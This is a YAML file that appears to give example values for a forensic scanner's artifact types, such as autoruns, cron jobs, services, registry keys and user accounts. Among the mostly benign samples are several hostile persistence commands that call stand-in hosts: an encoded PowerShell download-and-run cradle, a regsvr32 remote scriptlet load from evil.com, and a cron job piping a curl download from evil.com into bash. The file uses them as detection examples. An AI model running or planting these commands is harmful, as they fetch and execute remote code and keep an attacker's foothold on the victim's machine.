examples_db.yml

amcache entry:
  company:
  - Microsoft Corporation
  - Simon Tatham
  - ''
  first_run:
  - '2026-01-15T08:30:00Z'
  - '2026-04-20T14:22:00Z'
  path:
  - C:\Windows\System32\svchost.exe
  - C:\Users\neo\Downloads\putty.exe
  - C:\Program Files\Common Files\malware.exe
  product:
  - Microsoft® Windows® Operating System
  - PuTTY suite
  - ''
  sha1:
  - DEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEF
  - 00001C50A088E12B8F4D53BAAE118E1C13D07C61
  type:
  - amcache entry
authorized_keys entry:
  comment:
  - user@laptop
  - florian@desktop
  - backup-key
  file:
  - /home/neo/.ssh/authorized_keys
  - /root/.ssh/authorized_keys
  key:
  - ssh-rsa AAAAB3NzaC1yc2E...
  - ssh-ed25519 AAAAC3NzaC1lZDI1NTE5...
  type:
  - ssh-rsa
  - ssh-ed25519
  - ecdsa-sha2-nistp256
  type_entry:
  - authorized_keys entry
autorun entry:
  arguments:
  - ''
  - /systemstartup
  - /Processid:{02D4B3F1-FD88-11D1-960D-00805FC79235}
  - --svc --appid={cc46080e-4c33-4981-859a-bba2f780f31e}
  - --system --windows-service --service=update-internal --enable-logging --vmodule=*/components/winhttp
  autorun_type:
  - service
  - run_key
  entry:
  - ''
  - SecurityHealth
  - Opera Browser Assistant
  - Dropbox
  image.exists:
  - 'yes'
  image.extension:
  - .sys
  - .exe
  - .dll
  - .SYS
  image.magic_header:
  - UNKNOWN
  image.path:
  - C:\WINDOWS\system32\dllhost.exe
  - C:\Program Files\Dropbox\DropboxUpdater\123.0.6299.144\updater.exe
  - C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
  - C:\Program Files (x86)\Google\GoogleUpdater\148.0.7730.0\updater.exe
  - C:\WINDOWS\system32\lsass.exe
  image.size:
  - '77824'
  - '57344'
  - '84200'
  - '122880'
  - '90112'
  image.type:
  - file
  launch_string:
  - C:\\Windows\\System32\\svchost.exe -k netsvcs
  - powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxADAAMAAvAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBwAHMAMQAnACkA
  - regsvr32 /s /n /i:http://evil.com/payload.sct scrobj.dll
  - '"C:\Program Files\Dropbox\DropboxUpdater\123.0.6299.144\updater.exe" --system
    --windows-service --se'
  - '"C:\Program Files (x86)\Google\GoogleUpdater\148.0.7730.0\updater.exe" --system
    --windows-service --'
  location:
  - HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
  - HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
  - C:\\Users\\neo\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup
  - LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
  - LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
  old_md5:
  - e9659b4ed260c6557f99a5640297a80a
  - 2fb23b6447d059c42d09c00065d988c3
  - ec013a26b4ceea8505b5e06645a4cbf4
  - 25736d2bb56dd3441600306bf62e0481
  - 42266953a0cf902bac3db3c285119d1b
  type:
  - autorun entry
cron job:
  command:
  - /usr/bin/certbot renew
  - curl -s http://evil.com/payload | bash
  - /opt/backup.sh
  file:
  - /etc/crontab
  - /var/spool/cron/neo
  schedule:
  - 0 2 * * *
  - '*/5 * * * *'
  - '@daily'
  type:
  - cron job
  user:
  - root
  - neo
eventlog entry:
  channel:
  - Security
  - System
  - Application
  - Microsoft-Windows-Sysmon/Operational
  event_id:
  - '4688'
  - '4624'
  - '4625'
  - '4648'
  - '1'
  - '3'
  level:
  - Information
  - Warning
  - Error
  - Critical
  message:
  - A new process has been created.
  - An account was successfully logged on.
  - An attempt was made to logon with explicit credentials.
  provider:
  - Microsoft-Windows-Security-Auditing
  - Service Control Manager
  time:
  - '2026-04-26T10:00:00Z'
  - '2026-04-26T09:30:00Z'
  type:
  - eventlog entry
file:
  exists:
  - 'yes'
  - 'no'
  extension:
  - ''
  - sh
  - exe
  - dll
  hashes.md5:
  - d41d8cd98f00b204e9800998ecf8427e
  - 5f4dcc3b5aa765d61d8327deb882cf99
  hashes.sha1:
  - da39a3ee5e6b4b0d3255bfef95601890afd80709
  hashes.sha256:
  - e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
  magic_header:
  - ASCII text
  - ELF
  - PE32
  - MZ
  name:
  - passwd
  - shadow
  - malware.sh
  path:
  - /etc/passwd
  - /etc/shadow
  - /tmp/malware.sh
  permissions.owner:
  - root
  - neo
  - SYSTEM
  permissions.type:
  - Unix permissions
  - Windows permissions
  size:
  - '1234'
  - '0'
  - '1048576'
  type:
  - file
hosts file entry:
  hostname:
  - localhost
  - evil.com
  - google.com
  ip:
  - 127.0.0.1
  - 192.168.1.100
  - 0.0.0.0
  type:
  - hosts file entry
linux kernel module:
  dependencies:
  - ''
  - nvme-core
  file:
  - /lib/modules/6.18.6-200.fc43.x86_64/kernel/net/netfilter/nf_conntrack.ko.xz
  - 'null'
  included_in_kernel:
  - 'true'
  - 'false'
  name:
  - nf_conntrack
  - nvme
  - hid_generic
  - sysbeacon
  size:
  - '123456'
  - '0'
  type:
  - linux kernel module
mft entry:
  accessed:
  - '2026-04-26T10:05:00Z'
  - '2026-04-20T09:00:00Z'
  created:
  - '2026-01-15T08:30:00Z'
  - '2025-12-01T00:00:00Z'
  flags:
  - FILE_ATTRIBUTE_ARCHIVE
  - FILE_ATTRIBUTE_SYSTEM
  - FILE_ATTRIBUTE_HIDDEN
  modified:
  - '2026-04-26T10:00:00Z'
  - '2026-04-25T15:30:00Z'
  path:
  - C:\Windows\System32\svchost.exe
  - C:\Users\neo\Documents\secret.docx
  - C:\Temp\evil.dll
  record_number:
  - '12345'
  - '67890'
  - '99999'
  size:
  - '1502072'
  - '1234'
  - '1048576'
  type:
  - mft entry
process:
  command:
  - /usr/lib/systemd/systemd --switched-root --system --deserialize=58
  - /tmp/stub-server -port 19992 -tls-generate
  - /usr/bin/python3 -m http.server 19993
  created:
  - '2026-02-25T20:03:04+01:00'
  - '2026-04-26T11:55:48+02:00'
  dead:
  - 'false'
  - 'true'
  image.exists:
  - 'yes'
  - 'no'
  image.extension:
  - ''
  - exe
  image.magic_header:
  - ELF
  - PE32
  image.path:
  - /usr/bin/systemd
  - /tmp/stub-server (deleted)
  - /usr/bin/python3
  image.size:
  - '1502072'
  - '9670012'
  listen_ports:
  - '22'
  - '80'
  - '443'
  name:
  - stub-server
  - thunderstorm-stub-server
  - bash
  - systemd
  owner:
  - root
  - neo
  - sssd
  parent_info.exe:
  - /usr/lib/systemd/systemd
  - /usr/bin/node
  parent_info.pid:
  - '1'
  - '2800578'
  pid:
  - '1'
  - '214681'
  - '2801945'
  session:
  - ''
  - neo
process start:
  process:
  - C:\Windows\SystemTemp\A01DF562-5405-4537-AFDB-16439A7DF2BE\MpSigStub.exe
  - C:\Windows\SoftwareDistribution\Download\Install\AM_Delta_Patch_1.449.79.0.exe
  - C:\Windows\System32\la57setup.exe
  - C:\Program Files\Virtio-Win\Balloon\blnsvr.exe
  - C:\Windows\SystemTemp\dropbox_Unpacker_BeginUnzipping5092_115518982\DropboxClientInstaller.exe
registry key:
  hive:
  - HKLM
  - HKCU
  - HKU
  - HKCR
  last_modified:
  - '2026-04-26T10:00:00Z'
  - '2025-01-15T08:30:00Z'
  name:
  - Run
  - Policies
  - WinDefend
  path:
  - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  - HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  - HKLM\SYSTEM\CurrentControlSet\Services\WinDefend
  type:
  - registry key
registry value:
  data_type:
  - REG_SZ
  - REG_DWORD
  - REG_EXPAND_SZ
  - REG_BINARY
  key:
  - SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\7520BD25F56FC5A41B3F7
  - SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\BB31E568FDB1768409398
  - SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib\009\Help
  - SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib\CurrentLanguage\Help
  - SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Perflib\009\Help
  modified:
  - '1601-01-01T01:00:00+01:00'
  - '2026-03-29T12:13:58.0550089+02:00'
  - '2026-03-31T23:37:31.226098+02:00'
  name:
  - SecurityHealth
  - OneDrive
  - MaliciousEntry
  path:
  - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SecurityHealth
  size:
  - '1205350'
  - '599722'
  - '1405042'
  type:
  - registry value
  value:
  - '%windir%\system32\SecurityHealthSystray.exe'
  - C:\Users\neo\AppData\Local\Microsoft\OneDrive\OneDrive.exe /background
  - powershell -enc ...
  - 3\0The System performance object consists of counters that apply to more than
    one instance of a comp
  - u^$(xo!I@9{Ie[a[6=@@SQ)38QoA&AD[A1wmpNFWHreR',!=X90w6Tzj_1Zxkv=74A'pB?Nv`g3tLdq6o@6W47WgR?jw1[eJ0n(O
scheduled task:
  commands:
  - C:\Windows\System32\svchost.exe -k netsvcs
  - powershell -Command Update-Help
  - C:\Users\Public\update.exe
  enabled:
  - 'true'
  - 'false'
  last_run:
  - '2026-04-26T03:00:00Z'
  - never
  name:
  - \Microsoft\Windows\Defender\Windows Defender Scheduled Scan
  - \MyApp\BackupTask
  - \Malware\Persistence
  next_run:
  - '2026-04-27T03:00:00Z'
  - never
  run_level:
  - highest
  - limited
  type:
  - scheduled task
  user:
  - SYSTEM
  - neo
  - NT AUTHORITY\SYSTEM
systemd service:
  after:
  - network.target
  - syslog.target
  command:
  - /usr/sbin/sshd -D
  - /usr/local/bin/ollama serve
  - bash -c exec /opt/aurora-linux/aurora
  enabled:
  - 'true'
  - 'false'
  name:
  - sshd.service
  - ollama.service
  - aurora-agent.service
  restart:
  - always
  - 'no'
  - on-failure
  run_as_group:
  - root
  - ollama
  - ''
  run_as_user:
  - root
  - ollama
  - ''
  type:
  - systemd service
  wanted_by:
  - multi-user.target
  - default.target
unix user:
  crontab:
  - ''
  - /var/spool/cron/neo
  full_name:
  - root
  - neo
  - System User
  gid:
  - '0'
  - '1000'
  - '990'
  home:
  - /root
  - /home/neo
  - /
  name:
  - root
  - neo
  - sssd
  - nobody
  shell:
  - /bin/bash
  - /usr/sbin/nologin
  - /bin/false
  type:
  - unix user
  uid:
  - '0'
  - '1000'
  - '996'
  - '65534'
windows service:
  account:
  - LocalSystem
  - NT AUTHORITY\LocalService
  - NT AUTHORITY\NetworkService
  description:
  - Helps protect users from malware and other potentially unwanted software
  - ''
  display_name:
  - Windows Defender Antivirus Service
  - Windows Update
  - Background Intelligent Transfer Service
  image:
  - C:\Windows\System32\svchost.exe -k netsvcs
  - C:\Program Files\Windows Defender\MsMpEng.exe
  - C:\Users\Public\malware.exe
  name:
  - WinDefend
  - wuauserv
  - BITS
  - SysMain
  - TermService
  service_name:
  - WinDefend
  - wuauserv
  - BITS
  start_type:
  - auto
  - demand
  - disabled
  state:
  - running
  - stopped
  type:
  - windows service
windows user:
  account_expires:
  - never
  - '2026-12-31T23:59:59Z'
  active:
  - 'True'
  bad_password_count:
  - '0'
  comment:
  - ''
  description:
  - Built-in account for administering the computer/domain
  - ''
  - ''
  disabled:
  - 'true'
  - 'false'
  full_name:
  - Built-in account for administering the computer/domain
  - ''
  - Florian Roth
  groups:
  - Administrators
  - Users
  - Remote Desktop Users
  is_admin:
  - 'True'
  - 'False'
  last_logon:
  - '2026-04-26T10:30:00Z'
  - never
  - '2026-04-26T14:28:12+02:00'
  - '2026-03-31T23:24:25+02:00'
  locked:
  - 'False'
  name:
  - Administrator
  - neo
  - florian
  - Guest
  - DefaultAccount
  no_expire:
  - 'True'
  num_logons:
  - '1203'
  - '0'
  pass_age:
  - '6539359000000000'
  - '2390831000000000'
  password_changeable:
  - 'true'
  - 'false'
  password_expires:
  - 'true'
  - 'false'
  password_required:
  - 'true'
  - 'false'
  sid:
  - S-1-5-21-1234567890-1234567890-1234567890-500
  - S-1-5-21-1234567890-1234567890-1234567890-1001
  type:
  - windows user
  user:
  - Administrator
  - Guest